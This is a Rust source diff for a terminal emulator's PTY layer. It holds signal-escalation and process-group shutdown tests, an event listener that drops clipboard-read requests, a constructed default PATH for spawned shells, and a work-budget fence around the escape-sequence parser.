return true;
}
std::thread::sleep(Duration::from_millis(5));
}
false
}
/// Reads a file until it is non-empty or `BOUND` elapses.
fn read_when_written(path: &std::path::Path) -> Option<String> {
let mut found = None;
poll_until(|| match std::fs::read_to_string(path) {
Ok(text) if !text.trim().is_empty() => {
found = Some(text.trim().to_owned());
true
}
_ => false,
});
found
}
/// A cooperative child exits on `SIGTERM`, so the polite arm is what ends it.
///
/// The distinction matters: `Killed` and `Terminated` both leave a dead
/// process, so asserting death alone would pass with `SIGTERM` deleted
/// entirely and the grace period reduced to a delay before `SIGKILL`.
#[test]
fn cooperative_child_exits_on_term_not_kill() {
let pair = open_pty();
let mut child = spawn_script(&pair, "sleep 30");
let pid = child.process_id().expect("pid") as i32;
let outcome = shutdown(&mut child).expect("shutdown");
assert_eq!(
outcome,
Shutdown::Terminated,
"a child that dies on SIGTERM must not have needed SIGKILL"
);
assert!(poll_until(|| !pid_alive(pid)), "child survived shutdown");
}
/// A child that ignores `SIGTERM` must still die, and the escalation must be
/// what kills it.
///
/// The fixture shape is load-bearing and my first one was vacuous. I wrote
/// `trap '' TERM; sleep 30`, which *looks* like a signal-ignoring child and
/// reported `Terminated` -- the polite arm, on a child built to defeat it.
/// The reason is that `sh` does not ignore a signal on its child's behalf: the
/// group `SIGTERM` reaches `sleep`, which has no trap and dies, and the shell
/// was blocked in `wait` on exactly that `sleep`, so it reaps it and exits
/// normally. The trap was real, the ignoring was real, and the process still
/// died on `SIGTERM` -- through a path the test wasn't looking at.
///
/// Had I not checked *which* arm fired, this would have passed for the wrong
/// reason and gone on "proving" an escalation it never exercised. The loop
/// keeps the shell itself alive: no blocking `wait` to be interrupted, so the
/// trap actually governs the shell's own fate and only `SIGKILL` can end it.
///
/// The readiness handshake closes a second, subtler version of the same
/// mistake. My loop fixture *still* reported `Terminated`, because `trap` is a
/// command the shell has to reach: a signal delivered in the interval between
/// `exec` and that line finds the default disposition and kills the shell
/// outright. Isolated with a `forkpty` probe -- identical binary, only the
/// delay before signalling changed: at 500 ms all four arms survived, at 2 ms
/// all four died with signal 15. A fixture that is only *probably* armed makes
/// this test a race whose failure mode is a false pass.
///
/// This is the arm that fails if the escalation is deleted -- and the
/// `WATCHDOG` is what makes that a *failure* rather than a hang. With
/// `SIGKILL` deleted, nothing we send can end a child that ignores `SIGTERM`,
/// so `shutdown`'s final `wait` blocks forever and the mutant is detected only
/// by the harness timing out. A test that detects a bug by never finishing is
/// indistinguishable from a broken test. The deadline converts it into a
/// bounded, reportable failure.
#[test]
fn signal_ignoring_child_is_killed_after_the_grace_period() {
let dir = tempdir("buzz-terminal-trap");
let ready = dir.join("armed");
let pair = open_pty();
// The readiness file is written *after* the trap is installed, so waiting
// on it converts "probably armed by now" into an observed fact.
let mut child = spawn_script(
&pair,
&format!(
"trap '' TERM; (sleep {WATCHDOG}; kill -9 $$) & : > {}; \
while :; do sleep 0.1; done",
ready.display()
),
);
let pid = child.process_id().expect("pid") as i32;
assert!(
poll_until(|| ready.exists()),
"child never armed its SIGTERM trap; signalling now would test a \
startup race rather than the escalation"
);
let started = Instant::now();
let outcome = shutdown(&mut child).expect("shutdown");
let elapsed = started.elapsed();
assert_eq!(
outcome,
Shutdown::Killed,
"a SIGTERM-ignoring child must be escalated to SIGKILL"
);
assert!(poll_until(|| !pid_alive(pid)), "child survived SIGKILL");
assert!(
elapsed >= TERM_GRACE,
"shutdown returned in {elapsed:?}, before the {TERM_GRACE:?} grace \
period could have elapsed -- SIGTERM was never given its chance"
);
assert!(
elapsed < BOUND,
"shutdown took {elapsed:?}; the grace period is not bounded"
);
}
/// The property the whole module exists for: a **grandchild** must not outlive
/// the session.
///
/// The fixture is deliberately hostile, and the obvious version of this test
/// proves nothing. I first wrote `sleep 30 & echo $!; wait` and mutation L2 --
/// replacing `kill(-pid)` with `kill(pid)` -- **survived it**. The reason is
/// that killing a PTY session leader makes the kernel hang up the terminal and
/// `SIGHUP` the whole foreground group, so the grandchild dies either way.
/// Isolated with a `forkpty` probe: with the master held open (no fd-closure
/// hangup) and only `SIGKILL` to the shell's pid, the grandchild was gone
/// within 200 ms while the shell itself was still unreaped. The tty hangup was
/// doing the work my group signal was being credited for.
///
/// Two properties are therefore required of the grandchild, and each closes
/// one leak in the fixture:
///
/// - it **ignores `SIGHUP`**, so the tty hangup cannot end it for us; and
/// - it **busy-loops rather than sleeping**, so it is not blocked in a call
/// that the session teardown would interrupt anyway.
///
/// With both, the probe separates cleanly: pid-only leaves the grandchild
/// alive, `kill(-pgid)` does not. That is the only shape in which this test
/// can fail for the reason it claims to test.
///
/// The `WATCHDOG` is the price of that hostility. A grandchild built to
/// survive every signal we send also survives the harness: when this test
/// legitimately fails -- as it does under mutation L1 and L2 -- it leaves a
/// process spinning a core at PPID 1, and a panicking or killed test binary
/// cannot clean up after itself. So the child carries its own deadline.
/// `SIGKILL` because that is the one signal the fixture does not trap.
#[test]
fn grandchild_does_not_outlive_the_session() {
let dir = tempdir("buzz-terminal-orphan");
let pidfile = dir.join("grandchild.pid");
let armed = dir.join("armed");
let pair = open_pty();
let mut child = spawn_script(
&pair,
&format!(
"sh -c 'trap \"\" HUP TERM; (sleep {WATCHDOG}; kill -9 $$) & \
: > {armed}; while :; do :; done' & \
echo $! > {pidfile}; wait",
armed = armed.display(),
pidfile = pidfile.display()
),
);
let shell_pid = child.process_id().expect("pid") as i32;
let grandchild: i32 = read_when_written(&pidfile)
.expect("grandchild never reported its pid")
.parse()
.expect("pid is a number");
assert!(
poll_until(|| armed.exists()),
"grandchild never armed its SIGHUP trap; the tty hangup would kill it \
regardless of how we signal, and this test could not observe the \
difference"
);
assert!(
pid_alive(grandchild),
"test setup: the grandchild must be running before we shut down"
);
assert_ne!(
grandchild, shell_pid,
"test setup: the grandchild must be a distinct process, or this \
cannot tell a group signal from a pid signal"
);
shutdown(&mut child).expect("shutdown");
assert!(
poll_until(|| !pid_alive(shell_pid)),
"the session leader survived shutdown"
);
assert!(
poll_until(|| !pid_alive(grandchild)),
"an orphaned grandchild ({grandchild}) outlived the session -- the \
signal reached the shell's pid but not its process group"
);
}
/// Shutting down an already-dead child is safe and reaps it.
///
/// Without the leading `try_wait`, this path signals a pid that the kernel may
/// already have released and reassigned.
#[test]
fn shutdown_of_an_exited_child_is_a_reap_not_a_signal() {
let pair = open_pty();
let mut child = spawn_script(&pair, "exit 0");
assert!(
poll_until(|| child.try_wait().ok().flatten().is_some()),
"child did not exit"
);
assert_eq!(
shutdown(&mut child).expect("shutdown"),
Shutdown::AlreadyExited
);
}
/// The login `argv[0]` the child **actually receives**, not the string we
/// computed.
///
/// This closes the gap flagged in `e8b567aa`: `login_argv0` and
/// `portable-pty`'s `as_command` (`cmdbuilder.rs:510-517`) were each verified
/// by reading, and agreement-by-reading is not observation.
///
/// Two things make the probe terminate where a naive one hangs. The child
/// writes `$0` to a **file** rather than the PTY -- so there is no terminal
/// echo to strip, no ANSI to parse, and no dependency on the interactive
/// shell ever reaching EOF. And the read is polled to a deadline. Credit to
/// Quinn (`fcfd69b0`), whose three failed PTY-parsing harnesses established
/// that the harness was the bug.
///
/// The explicit-prog row is the control that isolates login `argv[0]` as the
/// only variable: same shell, same PTY, same fence, no `-` prefix.
#[test]
fn default_prog_child_observes_the_login_argv0() {
let dir = tempdir("buzz-terminal-argv0");
let shell = "/bin/sh";
let default_prog = observe_argv0(&dir.join("default"), shell, true);
assert_eq!(
default_prog,
login_argv0(shell),
"the child's $0 is not the login argv0 we computed"
);
assert!(
default_prog.starts_with('-'),
"a default-prog child must be a login shell: {default_prog:?}"
);
let explicit = observe_argv0(&dir.join("explicit"), shell, false);
assert_eq!(
explicit, shell,
"control: an explicitly-invoked shell must not be given a login argv0"
);
assert_ne!(
default_prog, explicit,
"control and subject agree, so this test cannot observe the login \
prefix at all"
);
}
/// Spawns a `/bin/sh` that writes its own `$0` to `pidfile`, either as a
/// default program (login argv0 applied by portable-pty) or explicitly.
///
/// The default-prog child is an *interactive* shell with no `-c`, so it is
/// driven by writing to the PTY master -- the only way to give a login shell
/// a command is to type one.
fn observe_argv0(outfile: &std::path::Path, shell: &str, default_prog: bool) -> String {
let pair = open_pty();
let resolved = resolve_shell(Some(shell));
let mut cmd = if default_prog {
CommandBuilder::new_default_prog()
} else {
CommandBuilder::new(shell)
};
fence_env(&mut cmd, &user_shell_path(), &resolved);
if !default_prog {
cmd.arg("-c");
cmd.arg(format!("printf '%s' \"$0\" > {}", outfile.display()));
}
let mut child = pair.slave.spawn_command(cmd).expect("spawn");
drain(&pair);
drop(pair.slave);
if default_prog {
use std::io::Write;
let mut writer = pair.master.take_writer().expect("writer");
writeln!(writer, "printf '%s' \"$0\" > {}", outfile.display()).expect("write");
writer.flush().expect("flush");
// Dropping the writer closes the master's write side, which the shell
// reads as end-of-input and exits on -- no `exit` command needed, and
// nothing depends on the shell's rc files having run.
drop(writer);
}
let observed = read_when_written(outfile);
let _ = crate::lifecycle::shutdown(&mut child);
observed.unwrap_or_else(|| panic!("child never reported $0 within {BOUND:?}"))
}
/// A fresh directory for a test's artifacts, replacing any prior run's.
fn tempdir(name: &str) -> std::path::PathBuf {
let dir = std::env::temp_dir().join(name);
let _ = std::fs::remove_dir_all(&dir);
std::fs::create_dir_all(&dir).expect("create temp dir");
dir
}
/// Mari's noisy-child discriminator: the reader must still be draining
/// **while** the child is being terminated and reaped.
///
/// The portable contract is structural: `stop` must not be requested until
/// the child has been reaped. The recording reader checks the child PID at the
/// `stop` call, while the continuously noisy PTY makes the test exercise a
/// reader that is genuinely active rather than a quiet no-op.
///
/// The child is deliberately noisy: it floods the PTY continuously, so a
/// master that stops being read fills its kernel buffer within milliseconds
/// and the child blocks in `write()`. That is the state the drain law exists
/// to avoid, and a quiet child cannot produce it -- with nothing being
/// written, both orders look identical and the test proves nothing.
#[test]
fn reader_drains_through_termination_and_reap() {
let pair = open_pty();
// Flood, and keep flooding: `yes` writes until the pipe is closed or the
// process dies, so there is always more output pending than the buffer
// holds.
let mut child = spawn_noisy(&pair);
let pid = child.process_id().expect("pid") as i32;
let order = std::sync::Arc::new(std::sync::Mutex::new(Vec::new()));
let stop_at: StopClock = std::sync::Arc::new(std::sync::Mutex::new(None));
let reader = RecordingReader::spawn(&pair, pid, order.clone(), stop_at.clone());
// Release the slave, exactly as the runtime does after spawning
// (`terminal_runtime.rs:441`). Not hygiene: a PTY master does not reach
// EOF while *any* process holds the slave open, and this test is one --
// so with the slave retained the reader parks in `read()` forever after
// the child is reaped, and every wait on it burns its whole bound. Linux
// honours that rule strictly; Darwin ends the read when the session
// leader exits, so the retained slave was invisible on the platform this
// was written on and failed only in CI.
drop(pair.slave);
// Establish that this is a live draining reader, not a quiet fixture.
assert!(
poll_until(|| reader.total_bytes() > 4096),
"test setup: the child is not producing enough output to fill the pty \
buffer, so this cannot distinguish drain order"
);
let started = Instant::now();
let outcome = shutdown_draining(&mut child, Box::new(reader)).expect("shutdown");
// `stop` runs the instant `shutdown` returns, so this is the child's half
// of the window and nothing else. Timing the whole call would fold reader
// teardown into an assertion whose message is about child termination --
// which is exactly how a stalled reader once read as a wedged child.
let elapsed = stop_at
.lock()
.unwrap()
.expect("stop was never called")
.duration_since(started);
assert_eq!(
outcome,
Shutdown::Terminated,
"a `yes` pipeline dies on SIGTERM; SIGKILL here means it was wedged in \
a tty write against an undrained master"
);
assert!(
elapsed < TERM_GRACE,
"shutdown took {elapsed:?}, at or beyond the {TERM_GRACE:?} grace \
period: the child was blocked writing to an undrained master rather \
than exiting on SIGTERM"
);
assert_eq!(
*order.lock().unwrap(),
["begin_closing", "stop", "join"],
"reader close must begin before termination and stop/join only after reap"
);
}
/// Spawns a child that floods the PTY without pause.
fn spawn_noisy(pair: &PtyPair) -> Box<dyn Child + Send + Sync> {
let shell = resolve_shell(std::env::var("SHELL").ok().as_deref());
let mut cmd = CommandBuilder::new("/bin/sh");
fence_env(&mut cmd, &user_shell_path(), &shell);
cmd.arg("-c");
cmd.arg("while :; do echo aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; done");
// Deliberately no `drain` here: this test owns the reader.
pair.slave.spawn_command(cmd).expect("spawn")
}
/// A [`DrainingReader`] that records how much it read after close began.
struct RecordingReader {
pid: i32,
total: std::sync::Arc<std::sync::atomic::AtomicU64>,
handle: std::thread::JoinHandle<()>,
order: std::sync::Arc<std::sync::Mutex<Vec<&'static str>>>,
/// When `stop` was called -- i.e. the instant `shutdown` returned.
stop_at: StopClock,
}
/// Shared slot for the instant the reader was asked to stop.
type StopClock = std::sync::Arc<std::sync::Mutex<Option<Instant>>>;
impl RecordingReader {
fn spawn(
pair: &PtyPair,
pid: i32,
order: std::sync::Arc<std::sync::Mutex<Vec<&'static str>>>,
stop_at: StopClock,
) -> Self {
let mut reader = pair.master.try_clone_reader().expect("reader");
let total = std::sync::Arc::new(std::sync::atomic::AtomicU64::new(0));
let counter = total.clone();
let handle = std::thread::spawn(move || {
use std::io::Read;
let mut buf = [0u8; 4096];
while let Ok(n) = reader.read(&mut buf) {
if n == 0 {
break;
}
counter.fetch_add(n as u64, Ordering::Relaxed);
}
});
Self {
pid,
total,
handle,
order,
stop_at,
}
}
fn total_bytes(&self) -> u64 {
self.total.load(Ordering::Relaxed)
}
}
impl DrainingReader for RecordingReader {
fn begin_closing(&self) {
self.order.lock().unwrap().push("begin_closing");
}
fn stop(&self) {
*self.stop_at.lock().unwrap() = Some(Instant::now());
assert!(
!pid_alive(self.pid),
"reader stop must not be requested before the child is reaped"
);
self.order.lock().unwrap().push("stop");
}
fn join(self: Box<Self>) {
self.order.lock().unwrap().push("join");
// Bounded, and that is the whole point. The read loop ends when the
// master reports EOF, which only happens once the reaped child has
// released the slave -- so joining *before* termination blocks
// forever. That is precisely the forbidden ordering (mutation L4),
// and an unbounded join would "detect" it by hanging, which is
// indistinguishable from a broken test. Waiting to a deadline and
// abandoning the thread converts the hang into an assertion failure
// the harness can report.
//
// The deadline must *assert*, not return. A silent abandon is
// indistinguishable from a clean join, and that is not hypothetical:
// it is how a 10 s stall in this fixture masqueraded as a
// child-termination failure in the caller's timing assertion. The
// caller's clock covers `shutdown()` only, so this is the sole gate
// on reader teardown -- with a wedged reader, `shutdown()` still
// returns in ~58 ms and every other assertion here passes.
assert!(
poll_until(|| self.handle.is_finished()),
"reader thread never finished within {BOUND:?} after the child was \
reaped: the master never reached EOF, so output was not being \
drained through termination"
);
let _ = self.handle.join();
}
}

View File

@@ -0,0 +1,144 @@
//! The closed set of terminal events we act on.
//!
//! `EventListener` is how the emulator asks the embedder to do something. Most
//! of those requests write back to the PTY, and one of them — `ClipboardLoad` —
//! would let terminal output read the user's clipboard into the shell. We
//! answer a fixed set and **drop everything else by default**, so a new upstream
//! variant is inert until someone deliberately handles it.
use std::fmt;
use std::sync::mpsc::{self, Receiver, Sender};
use std::sync::Arc;
use alacritty_terminal::event::{Event, EventListener, WindowSize};
use alacritty_terminal::vte::ansi::Rgb;
/// Something the embedder must do on the terminal's behalf.
///
/// Two variants carry upstream's reply formatters rather than a finished
/// string: the answers depend on state this listener does not own (the color
/// palette, the cell metrics). Resolving them here would mean inventing
/// values, and a program that asked for its terminal's real background color
/// would silently be told black.
#[derive(Clone)]
pub enum Action {
/// Write bytes back to the PTY.
PtyWrite(String),
/// Reply with palette entry `index`, formatted by `format`.
ColorReply {
index: usize,
format: Arc<dyn Fn(Rgb) -> String + Send + Sync>,
},
/// Reply with the text area size, formatted by `format`.
SizeReply {
format: Arc<dyn Fn(WindowSize) -> String + Send + Sync>,
},
/// The program set the window title (already clamped).
Title(String),
/// The program reset the window title.
ResetTitle,
/// New content is available; the renderer should sample damage.
Wakeup,
/// The program rang the bell.
Bell,
}
impl fmt::Debug for Action {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
match self {
Self::PtyWrite(text) => write!(f, "PtyWrite({text:?})"),
Self::ColorReply { index, .. } => write!(f, "ColorReply({index})"),
Self::SizeReply { .. } => write!(f, "SizeReply"),
Self::Title(title) => write!(f, "Title({title:?})"),
Self::ResetTitle => write!(f, "ResetTitle"),
Self::Wakeup => write!(f, "Wakeup"),
Self::Bell => write!(f, "Bell"),
}
}
}
/// Longest title we will carry. A title is program-controlled text that ends up
/// in UI chrome; an unbounded one is a memory and layout problem.
pub const TITLE_LIMIT: usize = 512;
/// Clamp on a character boundary, never mid-UTF-8.
fn clamp_title(title: String) -> String {
match title.char_indices().nth(TITLE_LIMIT) {
None => title,
Some((byte_idx, _)) => title[..byte_idx].to_string(),
}
}
/// Translates upstream events into the closed [`Action`] set.
#[derive(Clone)]
pub struct Listener(Sender<Action>);
impl Listener {
pub fn new() -> (Self, Receiver<Action>) {
let (tx, rx) = mpsc::channel();
(Self(tx), rx)
}
}
/// Resolve an emulator action that can be answered without renderer state.
///
/// Color queries deliberately return `None`: named/indexed colors resolve
/// against the live theme, which this crate does not own.
pub fn reply(
action: Action,
columns: u16,
rows: u16,
cell_width: u16,
cell_height: u16,
) -> Option<String> {
match action {
Action::PtyWrite(text) => Some(text),
Action::SizeReply { format } => Some(format(WindowSize {
num_lines: rows,
num_cols: columns,
cell_width,
cell_height,
})),
// Palette values are renderer-owned. The transport must answer these
// only after it has a renderer palette, never invent one here.
Action::ColorReply { .. }
| Action::Title(_)
| Action::ResetTitle
| Action::Wakeup
| Action::Bell => None,
}
}
impl EventListener for Listener {
fn send_event(&self, event: Event) {
let action = match event {
// Replies the program is waiting on. These are the only routes by
// which emulator state travels back into the shell.
Event::PtyWrite(text) => Action::PtyWrite(text),
// A program blocked on a color reply must get one, or it hangs.
// The palette lives in `Term`, so the caller resolves the index;
// the formatter is carried through untouched.
Event::ColorRequest(index, format) => Action::ColorReply { index, format },
Event::TextAreaSizeRequest(format) => Action::SizeReply { format },
Event::Title(title) => Action::Title(clamp_title(title)),
Event::ResetTitle => Action::ResetTitle,
Event::Wakeup => Action::Wakeup,
Event::Bell => Action::Bell,
// Dropped on purpose, and enumerated so the reason survives:
//
// ClipboardLoad would let terminal output paste the user's
// clipboard into the shell. Never handled.
Event::ClipboardLoad(..) => return,
// ClipboardStore is an OSC 52 write; OSC 52 is disabled in the
// Term config, so this should be unreachable rather than merely
// unhandled.
Event::ClipboardStore(..) => return,
// Presentation concerns the renderer polls for; no action here.
Event::MouseCursorDirty | Event::CursorBlinkingChange => return,
// Lifecycle is owned by the PTY layer, not the emulator.
Event::Exit | Event::ChildExit(_) => return,
};
let _ = self.0.send(action);
}
}

View File

@@ -0,0 +1,46 @@
//! `PATH` derivation for spawned PTY children.
//!
//! Buzz's own process runs under Hermit activation, so its `PATH` leads with
//! the repo's hermit `bin` and the hermit cache. Inheriting that verbatim
//! hands the user a shell whose `cargo`, `node`, and `python` are Buzz's
//! pinned build toolchain rather than the ones they installed. That is a
//! product defect, not merely untidy: `⌘J` then `cargo --version` should
//! answer for the user's machine, not for Buzz's build.
//!
//! The abandoned `feat/terminal` branch tried to solve this by subtracting
//! hermit roots from the inherited `PATH` (`terminal.rs:504-536`). The
//! subtraction never ran: `spawn_session` calls `env_remove` on `HERMIT_ENV`
//! and `ACTIVE_HERMIT` at `:339-344`, *before* `scrub_hermit_path` reads
//! those same keys at `:505-506` to learn what to strip. With both keys
//! already gone the roots list is empty and the function returns early,
//! leaving the hermit entries in place. Verified by reproduction: in that
//! order the child's `PATH` is unchanged; reversed, the hermit entries are
//! removed. A subtractive fence depends on evidence of what to subtract, and
//! that evidence is exactly what the preceding cleanup destroys.
//!
//! So `PATH` is *constructed*, not filtered. The child gets the platform's
//! standard user path, which is what a login shell would have produced had
//! Buzz never been in the picture.
/// The default user `PATH` for a spawned shell.
///
/// This intentionally does not consult Buzz's own `PATH`. A login shell reads
/// the user's rc files, which prepend their own entries (homebrew, asdf, mise,
/// `~/.local/bin`); starting from the platform default lets that happen
/// normally instead of layering it on top of Buzz's build toolchain.
#[cfg(unix)]
pub fn user_shell_path() -> String {
// Mirrors the `_PATH_DEFPATH`/`login(1)` default: standard system
// binaries only. `/usr/local/bin` is included because it is the
// conventional prefix on both macOS and Linux for user-installed tools
// that rc files expect to already be present.
"/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin".to_string()
}
#[cfg(windows)]
pub fn user_shell_path() -> String {
// On Windows the system directories are derived from the environment
// rather than fixed, and `cmd.exe`/PowerShell resolution depends on them.
let root = std::env::var("SystemRoot").unwrap_or_else(|_| r"C:\Windows".to_string());
format!(r"{root}\system32;{root};{root}\system32\Wbem")
}

View File

@@ -0,0 +1,354 @@
//! Fence enforcement around `vte`'s `Processor`.
//!
//! Everything that reaches the terminal's parser goes through [`Feeder::feed`].
//! It is the single place both fences are applied, so there is no route by
//! which bytes become parser-visible without being charged.
use alacritty_terminal::vte::ansi::{Handler, Processor, StdSyncHandler};
use crate::fences::{
slice_bytes_remaining, FenceStats, Fences, MAX_SLICE, OSC_BUDGET, SYNC_CAP, TAIL_CAP,
TAIL_RESUME, WORK_BUDGET,
};
use crate::units::{Counting, CursorColumn};
/// Owns the parser and enforces F1/F2 on every byte fed to it.
pub struct Feeder {
parser: Processor<StdSyncHandler>,
fences: Fences,
stats: FenceStats,
/// Bytes charged since the last F2 reset.
since_reset: usize,
/// Bytes accepted but not yet parsed. Grows when arrival outruns
/// retirement; drained by every [`Feeder::feed`] and [`Feeder::drain`].
pending: Vec<u8>,
/// How much of `pending` has already been parsed. Kept as an index rather
/// than draining the front on every slice, so a large tail is not
/// re-shuffled once per slice; the prefix is dropped in one go on the next
/// enqueue.
pending_at: usize,
/// The grid the weights are computed against. Tracked here rather than
/// read from the `Term` because `feed` only has the handler, and kept in
/// sync by [`Feeder::resize`]: a stale grid misprices every O(cells)
/// callback for as long as it is wrong.
columns: usize,
lines: usize,
/// Whether the parser is part-way through an escape sequence that has not
/// yet dispatched. Governs how the next slice is metered -- see
/// [`crate::fences::slice_bytes_remaining`].
mid_escape: bool,
/// Deepest scrollback this feeder has ever been configured for.
///
/// A high-water mark rather than the current depth, and the difference is
/// not conservatism for its own sake -- the rows are still there. Upstream
/// frees history lazily: `Storage::shrink_lines` truncates only once the
/// buffer exceeds the new length by `MAX_CACHE_SIZE`, so immediately after
/// a decrease the grid still owns rows that a reset must walk. Pricing at
/// the new depth would charge for a grid that does not exist yet.
///
/// Never lowered, so it needs no clearing transition and cannot go stale
/// in the unsafe direction. The cost is that a session which shrinks its
/// scrollback keeps paying the deep price for the rest of its life; the
/// alternative is a bound that is wrong immediately after every shrink.
scrollback: usize,
}
impl Feeder {
pub fn new(fences: Fences, columns: usize, lines: usize, scrollback: usize) -> Self {
Self {
parser: Processor::new(),
fences,
stats: FenceStats::default(),
since_reset: 0,
pending: Vec::new(),
pending_at: 0,
mid_escape: false,
columns,
lines,
scrollback,
}
}
/// Track a geometry change, so the cost weights describe the current grid.
///
/// Takes the whole [`crate::Size`] rather than a column/line pair on
/// purpose. Scrollback is as load-bearing as the other two -- it is most
/// of RIS's price and therefore most of the slice derivation -- and a
/// signature that accepted only the dimensions let a caller change the
/// depth on the `Term` while the feeder kept charging the construction
/// value. One argument, one ownership boundary, no way to update two of
/// three.
pub fn resize(&mut self, size: crate::Size) {
self.columns = size.columns;
self.lines = size.screen_lines;
// Grows only. See the field: a decrease does not immediately free the
// rows a reset has to walk.
self.scrollback = self.scrollback.max(size.scrollback);
}
pub fn stats(&self) -> FenceStats {
self.stats
}
pub fn reset_stats(&mut self) {
self.stats.reset();
}
/// Bytes currently buffered inside a synchronized update.
pub fn pending_sync_bytes(&self) -> usize {
self.parser.sync_bytes_count()
}
/// Bytes accepted but not yet parsed, because a previous [`Feeder::feed`]
/// spent its work budget before reaching them.
pub fn pending_bytes(&self) -> usize {
self.pending.len() - self.pending_at
}
/// Whether the pending tail has reached [`TAIL_CAP`].
///
/// Deliberately derived from the current depth rather than latched. A
/// latch is a state the fence owns and could fail to clear, which is
/// exactly how a paused reader strands a child mid-teardown; a reader that
/// simply stops asking resumes by default.
///
/// **No production consumer today, and not an oversight.** The runtime
/// reader pumps [`Feeder::drain`] to completion after every read
/// (`terminal_runtime.rs`), so the tail is empty between iterations and
/// this can never go true -- measured 0 bytes high-water against 8 MiB of
/// pure RIS, the densest atom there is. It exists for a future reader
/// that defers pumping, and such a reader **must** consult it: without
/// the pump loop the same stream reaches [`TAIL_CAP`] in 257 reads of
/// 16 KiB.
///
/// The numbers are here rather than "nothing calls this" because the
/// signal and the loop are one fact from two sides. Delete the loop and
/// this predicate stops being unreachable in the same instant it starts
/// being needed.
pub fn tail_full(&self) -> bool {
self.pending_bytes() >= TAIL_CAP
}
/// Whether a paused reader may resume: the tail has drained to the low
/// water mark. Separate from `!tail_full()` so the reader does not flap
/// between full and one-byte-below-full.
pub fn tail_drained(&self) -> bool {
self.pending_bytes() <= TAIL_RESUME
}
/// Discard the unparsed tail.
///
/// For session close only, and lossless where it is used: publication is
/// detached before shutdown drains, so this tail is bytes no renderer can
/// consume. Draining the *PTY* remains lifecycle-critical -- this exists so
/// parser work cannot hold teardown behind it.
pub fn abandon_tail(&mut self) -> usize {
let abandoned = self.pending_bytes();
self.pending.clear();
self.pending_at = 0;
self.stats.abandoned_bytes += abandoned as u64;
abandoned
}
/// Accept PTY output and parse what fits in one work budget.
///
/// Returns whether bytes remain unparsed. Bytes beyond the budget are
/// retained and parsed by [`Feeder::drain`], so this bounds the *lock
/// hold*; it does not bound the queue. When arrival outruns retirement
/// the tail grows to [`TAIL_CAP`] and [`Feeder::tail_full`] goes true,
/// which is the reader's cue to stop reading the PTY and let the child
/// block. No policy is applied here: a fence that dropped input to protect
/// itself would corrupt the screen to avoid being slow.
pub fn feed<H: Handler + CursorColumn>(&mut self, handler: &mut H, bytes: &[u8]) -> bool {
self.enqueue(bytes);
self.drain(handler);
self.pending_bytes() > 0
}
/// Append to the pending tail, compacting the already-parsed prefix first.
fn enqueue(&mut self, bytes: &[u8]) {
if self.pending_at > 0 {
self.pending.drain(..self.pending_at);
self.pending_at = 0;
}
self.pending.extend_from_slice(bytes);
}
/// Parse from the pending tail until the work budget is spent.
///
/// The budget is checked between parser slices, never inside a callback:
/// vte's own mid-buffer stop is driven by `Perform::terminated()`, whose
/// implementor in the ansi layer is private, so the cut has to be made
/// from outside, and a callback already running cannot be preempted at
/// all. One atom is therefore the irreducible overrun -- and it is not
/// small: `ESC[65535Z` with tabstops cleared is 8 bytes and 82 ms at 1600
/// columns, because upstream's `move_backward_tabs` rescans the row once
/// per count when it finds no stop.
///
/// What *is* bounded is the number of atoms per slice, and that bound
/// holds from the first byte of a cold feeder: [`slice_bytes_remaining`] is derived
/// from the densest work-per-byte upstream can produce on this grid, so
/// no slice can contain more than one budget's worth of callbacks no
/// matter what the payload is or what the feeder has seen before.
///
/// Returns the work spent, which is at least the budget whenever the tail
/// is still non-empty on return.
pub fn drain<H: Handler + CursorColumn>(&mut self, handler: &mut H) -> u64 {
// Slices are copied out of the tail rather than borrowed from it,
// because `advance_slice` needs `&mut self` and the tail is part of
// self. A stack buffer keeps that from allocating; the copy is a
// memcpy against a parse two orders of magnitude more expensive.
let mut buf = [0u8; MAX_SLICE];
let mut spent: u64 = 0;
while self.pending_at < self.pending.len() {
// Size each slice against what is *left* of the budget, and
// against what is actually in front of the parser. A slice can
// only be as expensive as the callbacks it contains, and only an
// escape can buy grid-sized work in two bytes -- so a plain run
// is sliced against the plain-byte cost and stops at the next
// `ESC`, which then gets a slice metered against the worst atom.
// The drain therefore returns on the atom that crosses the
// budget, not at the end of a slice that ran several more.
//
// Where one atom is worth more than the entire budget -- RIS at
// any real scrollback depth -- that escape gets a one-byte slice.
// That is the honest consequence of the law: nothing wider can
// promise to stop after the crossing atom when a single atom
// always crosses.
// A slice is never wider than MAX_SLICE, so the scan for the next
// escape stops there too: searching the whole tail would be
// O(tail) per slice and O(tail^2) per drain, which measured as a
// 7x throughput *regression* on plain text -- a bound that costs
// more than the thing it bounds.
let horizon = (self.pending_at + MAX_SLICE).min(self.pending.len());
let next_escape = if self.mid_escape {
// Already inside a sequence whose callback has not fired. Its
// remaining bytes are *not* plain text -- `ESC` then `c` is a
// grid reset -- so they keep the escape's metering. Without
// this the byte after a lone `ESC` is priced as a character
// and the atom rides into a wide slice with whatever follows
// it, which is the post-atom overrun by another door.
0
} else {
self.pending[self.pending_at..horizon]
.iter()
.position(|&b| b == 0x1b)
.unwrap_or(horizon - self.pending_at)
};
let width = slice_bytes_remaining(
self.columns,
self.lines,
self.scrollback,
spent,
next_escape,
);
let end = (self.pending_at + width).min(self.pending.len());
let len = end - self.pending_at;
buf[..len].copy_from_slice(&self.pending[self.pending_at..end]);
self.pending_at = end;
let cost = self.advance_slice(handler, &buf[..len]);
// A slice that contained an escape but dispatched nothing left the
// parser mid-sequence. Work is the signal because it is the thing
// being budgeted: a sequence that has not yet cost anything has
// not yet run.
self.mid_escape = (self.mid_escape || buf[..len].contains(&0x1b)) && cost == 0;
spent = spent.saturating_add(cost);
if spent >= WORK_BUDGET {
break;
}
}
if self.pending_at == self.pending.len() {
self.pending.clear();
self.pending_at = 0;
}
let depth = self.pending_bytes();
self.stats.max_pending = self.stats.max_pending.max(depth);
if depth >= TAIL_CAP {
self.stats.tail_breaches += 1;
}
spent
}
/// Parse one slice, applying both fences to it. Returns the work it cost.
fn advance_slice<H: Handler + CursorColumn>(&mut self, handler: &mut H, bytes: &[u8]) -> u64 {
let mut spent: u64 = 0;
let sync_before = self.parser.sync_bytes_count();
{
let mut counting = Counting::new(handler, self.columns, self.lines, self.scrollback);
self.parser.advance(&mut counting, bytes);
self.stats.completed_units =
self.stats.completed_units.saturating_add(counting.units());
self.stats.completed_work = self.stats.completed_work.saturating_add(counting.work());
